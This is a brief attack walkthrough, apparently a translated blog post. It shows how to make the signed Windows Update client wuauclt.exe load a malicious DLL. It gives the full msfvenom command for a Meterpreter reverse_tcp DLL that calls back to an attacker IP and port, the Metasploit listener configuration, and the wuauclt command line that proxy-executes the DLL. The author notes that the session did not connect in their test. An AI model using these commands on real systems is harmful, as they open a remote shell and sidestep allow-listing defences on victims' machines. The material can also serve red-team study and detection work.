Abusing the WindowsUpdate Program to Execute a Malicious DLL and Obtain Host Access

Environment

Introduction

• wuauclt.exe is a Windows-signed program. According to https://ss64.com/nt/wuauclt.html, it is the Windows Update client and is used to download Windows update files.
• However, overseas security researchers have found that an attacker can use it to load a malicious DLL file and thereby perform malicious operations.

Attack Process

Create a malicious DLL with MSF

• Generate a malicious DLL through MSF.

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=172.16.106.67 LPORT=2335 -f dll > attack_demo.dll

• Configure an MSF listener.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.106.67
set lport 2335
exploit # 如下图：

Execute the malicious DLL with wuauclt

• Following the usage described at https://lolbas-project.github.io/lolbas/Binaries/Wuauclt/, proxy execution of the malicious DLL through wuauclt.exe.

wuauclt.exe /UpdateDeploymentProvider e:\payload\attack_demo.dll /RunHandlerComServer

• As shown below, well, it did not come online, indicating that something went wrong. The cause will be investigated later.